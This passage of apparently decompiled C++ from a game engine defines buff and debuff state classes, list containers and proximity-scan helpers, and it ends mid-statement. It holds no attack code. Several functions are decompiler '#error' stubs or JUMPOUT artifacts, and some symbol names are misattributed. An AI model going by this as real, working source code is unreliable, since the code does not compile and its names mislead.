esi@1 v1 = this; this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->astr_Tick); v1->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 6318EC: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 6319F4: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (00401510) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { this->baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 6318EC: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); //----- (00401520) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this) { return "Base"; } //----- (00401530) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this) { return "Normal"; } //----- (00401540) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this) { return "Party"; } //----- (00401550) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return "GldAca"; } //----- (00401560) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { return "WedCpl"; } //----- (00401570) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this) { return "Recover"; } //----- (00401580) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this) { return "ReinforcedMove"; } //----- (00401590) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this) { return "RestCount"; } //----- (004015A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this) { return "Tick"; } //----- (004015B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this) { return "EachTick"; } //----- (004015C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this) { return "Hide"; } //----- (004015D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this) { return "Polymorph"; } //----- (004015E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this) { return "Actor"; } //----- (004015F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this) { return "MaxHP"; } //----- (00401600) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this) { return "Fear"; } //----- (00401610) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { return "Captivate"; } //----- (00401620) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this) { return "Poison"; } //----- (00401630) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this) { return "RangeDamage"; } //----- (00401640) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this) { return "Disease"; } //----- (00401650) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this) { return "HPHeal"; } //----- (00401660) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this) { return "SPHeal"; } //----- (00401670) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this) { return "HPSPHeal"; } //----- (00401680) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this) { return "Shield"; } //----- (00401690) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this) { return "ManaShield"; } //----- (004016A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this) { return "PartyRecharge"; } //----- (004016B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this) { return "SelfRevive"; } //----- (004016C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this) { return "RangeIntercept"; } //----- (004016D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this) { return "LastDmgRetio"; } //----- (004016E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this) { return "LastDmgRatio_DefSide"; } //----- (004016F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this) { return "TimeAttack"; } //----- (00401700) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this) { return "CastDelay"; } //----- (00401710) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this) { return "IgnoreCoolTime"; } //----- (00401720) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this) { return "Silence"; } //----- (00401730) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilencetoone::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilencetoone *this) { return "OneUseSilence"; } //----- (00401740) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorBomb::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorBomb *this) { return "Bomb"; } //----- (00401750) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorUseSPDown::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorUseSPDown *this) { return "UseSPDown"; } //----- (00401760) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorMagicField::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorMagicField *this) { return "MagicField"; } //----- (00401770) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHideDamage *this) { return "HideDamage"; } //----- (00401780) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateElement *AbnormalStateElement::ase_This called", 0); ShineExit("AbnormalStateElement *AbnormalStateElement::ase_This called"); } //----- (004017B0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num) { AbnormalStateContainer::AbnormalStateElement *result; // eax@3 if ( num < 0 || num >= 609 ) result = 0; else result = this->asl_AbstateNode[num].asn_Abstate; return result; } //----- (004017D0) -------------------------------------------------------- void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum) { AxialListNearScanParty *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v2->alnsp_PartyRegnum = partyregnum; v2->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; } // 631CDC: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (004017F0) -------------------------------------------------------- void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 631CDC: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (00401800) -------------------------------------------------------- #error "401800: undefined or illegal type '#593' (funcsize=9)" //----- (00401820) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 631CE4: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401830) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum) { AxialListNearScanCoupleParty *v3; // esi@1 v3 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v3->alnsp_PartyRegnum = partyregnum; v3->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; v3->alnsp_PartnerRegnum = PartnerRegnum; } // 631CE4: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401860) -------------------------------------------------------- #error "401860: undefined or illegal type '#593' (funcsize=22)" //----- (004018A0) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanGuildAcademy::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 631CEC: using guessed type int (__stdcall *AxialListNearScanGuildAcademy___vftable_)(int, int, int distancesquar); //----- (004018B0) -------------------------------------------------------- #error "4018B0: undefined or illegal type '#593' (funcsize=33)" //----- (00401910) -------------------------------------------------------- #error "401910: undefined or illegal type '#593' (funcsize=39)" //----- (00401980) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate) { int result; // eax@1 result = (*(int (**)(void))(*(_DWORD *)this + 1180))() + abstate / 8; *(_BYTE *)result |= 1 << abstate % 8; return result; } //----- (004019C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitReset(void *this, signed int abstate) { int result; // eax@1 result = (*(int (**)(void))(*(_DWORD *)this + 1180))() + abstate / 8; *(_BYTE *)result &= ~(1 << abstate % 8); return result; } //----- (00401A00) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength) { return AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( &sklidx->subabstate[strength], this->asrc_Action); } //----- (00401A20) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->nextaction); } //----- (00401A30) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, ABSTATEINDEX key) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 v2 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v2->aeo_SetItemEffect); v2->aeo_Index = key; *(_DWORD *)&v2->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v2->gap31[7] = 0; *(_DWORD *)&v2->gap31[15] = 0; *(_DWORD *)&v2->gap31[23] = 0; *(_DWORD *)&v2->gap31[31] = 0; v2->gap9[7] = 0; *(_DWORD *)&v2->gap9[11] = 0; } //----- (00401AA0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->aeo_SetItemEffect); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->aeo_Tick.nextaction); } //----- (00401AF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 3400))(); } //----- (00401B00) -------------------------------------------------------- #593 *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetCaster(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 int v2; // ecx@1 v1 = this; v2 = *(_DWORD *)&this->aeo_Caster._bf0; if ( !v2 ) return 0; if ( (*(int (**)(void))(*(_DWORD *)v2 + 836))() != *(_DWORD *)&v1->gap9[3] ) { *(_DWORD *)&v1->aeo_Caster._bf0 = 0; return 0; } return *(#593 **)&v1->aeo_Caster._bf0; } //----- (00401B40) -------------------------------------------------------- #error "401B40: undefined or illegal type '#593' (funcsize=120)" //----- (00401CA0) -------------------------------------------------------- AbnormalStateContainer::SkillBlast __thiscall AbnormalStateContainer::SubAbnormalStateActorSilencetoone::sasa_Act_SkillBlast(AbnormalStateContainer::SubAbnormalStateActorSilencetoone *this, AbnormalStateContainer::AbstateElementInObject *aso) { aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; return 2; } //----- (00401CC0) -------------------------------------------------------- #error "401CC0: undefined or illegal type '#593' (funcsize=34)" //----- (00401D20) -------------------------------------------------------- #error "401D20: undefined or illegal type '#593' (funcsize=34)" //----- (00401D80) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_smo_SPExhByAbState() { return 1000; } //----- (00401D90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smo_SPExhByAbState(int this) { return *(_WORD *)(this + 6942); } //----- (00401DA0) -------------------------------------------------------- #error "401DA0: undefined or illegal type '#593' (funcsize=9)" //----- (00401DC0) -------------------------------------------------------- void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanFriend::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 631E5C: using guessed type int (__stdcall *AxialListNearScanFriend___vftable_)(int, int, int distancesquar); //----- (00401DD0) -------------------------------------------------------- #error "401DD0: undefined or illegal type '#593' (funcsize=23)" //----- (00401E10) -------------------------------------------------------- #error "401E10: undefined or illegal type '#593' (funcsize=11)" //----- (00401E40) -------------------------------------------------------- void __thiscall AxialListNearScanCenterFriendCasterEnemy::_AxialListNearScanCenterFriendCasterEnemy(AxialListNearScanCenterFriendCasterEnemy *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCenterFriendCasterEnemy::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 631EAC: using guessed type int (__stdcall *AxialListNearScanCenterFriendCasterEnemy___vftable_)(int, int, int distancesquar); //----- (00401E50) -------------------------------------------------------- #error "401E50: undefined or illegal type '#593' (funcsize=36)" //----- (00401EC0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_Act_UseSPDown(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer; } //----- (00401ED0) -------------------------------------------------------- unsigned int __thiscall AbnormalStateContainer::SubAbnormalStateActorUseSPDown::sasa_Act_UseSPDown(AbnormalStateContainer::SubAbnormalStateActorUseSPDown *this, AbnormalStateContainer::AbstateElementInObject *aso, unsigned int nLostSP) { unsigned int result; // eax@2 if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_USESPDOWN) ) result = nLostSP - ((unsigned int)(nLostSP * AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_USESPDOWN) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); else result = nLostSP; return result; } //----- (00401F40) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 632054: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00401F60) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00401FB0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x6Cu); return 1; } // 401FC6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00401FF0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x6Cu); this->vfptr->l_Free(this, v3); } return 1; } //----- (00402040) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x6Cu); this->vfptr->l_Free(this, v3); } return 1; } //----- (00402090) -------------------------------------------------------- void __thiscall ListTraveler::lt_Home(ListTraveler *this) { List *v1; // eax@1 v1 = this->lt_List; this->lt_CurrElement = v1->l_MaxSize; this->lt_NextElement = v1->l_Array[v1->l_Finger.store].ls_Next; } //----- (004020B0) -------------------------------------------------------- char __thiscall ListTraveler::lt_Next(ListTraveler *this) { List *v1; // edx@1 unsigned __int16 v2; // ax@1 char result; // al@2 v1 = this->lt_List; v2 = this->lt_NextElement; if ( v2 < v1->l_MaxSize ) { this->lt_CurrElement = v2; this->lt_NextElement = v1->l_Array[v2].ls_Next; result = 1; } else { result = 0; } return result; } //----- (004020E0) -------------------------------------------------------- #error "4020E0: undefined or illegal type '#593' (funcsize=39)" //----- (00402150) -------------------------------------------------------- void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag) { this->fe_FunctionCode = funcname; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, funcname); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = funcname; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = flag; } //----- (00402190) -------------------------------------------------------- void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, this->fe_FunctionCode); } //----- (004021B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2) { int v2; // edx@1 int result; // eax@2 int v4; // eax@3 int v5; // edx@10 int v6; // eax@10 int v7; // ecx@10 int v8; // eax@10 v2 = *(_DWORD *)(this + 98); if ( v2 ) { v4 = *(_DWORD *)(a2 + 98); if ( v4 ) { if ( *(_DWORD *)v2 == *(_DWORD *)v4 && *(_DWORD *)(v2 + 4) == *(_DWORD *)(v4 + 4) && *(_DWORD *)(v2 + 8) == *(_DWORD *)(v4 + 8) && **(_DWORD **)(this + 94) == **(_DWORD **)(a2 + 94) ) { v5 = *(_DWORD *)(a2 + 78); v6 = *(_DWORD *)(this + 78); v7 = *(_DWORD *)v6 - *(_DWORD *)v5; v8 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(v5 + 4); result = v7 * v7 + v8 * v8; } else { result = 999999999; } } else { result = 999999999; } } else { result = 999999999; } return result; } //----- (00402230) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this) { AbnormalStateContainer::AbnormalStateList *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->asl_AbstateList.l_Array; this->asl_AbstateList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->asl_STA_TRANSFORM.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MULTIHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MULTIHEAL.astr_Tick); v1->asl_STA_MULTIHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_EGLACKMAD04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_EGLACKMAD04.astr_Tick); v1->asl_STA_EGLACKMAD04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ADLFSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ADLFLOUSSIERIMT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ADLFLOUSSIER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SALARE00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SALARE04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_EGLACKMAD05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_EGLACKMAD05.astr_Tick); v1->asl_STA_EGLACKMAD05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_EGLACK04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_EGLACK04.astr_Tick); v1->asl_STA_EGLACK04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_HIDEWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSSPEEDUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSSPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSHPUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSDEFENSEUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSCRIUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_SNSATKUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBACS01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBMRS01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_NOTTARGET.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OP_5OVER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OP_5UNDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OP_3UNDER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ADLUBADOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_ADLUBAUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBMSD01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl 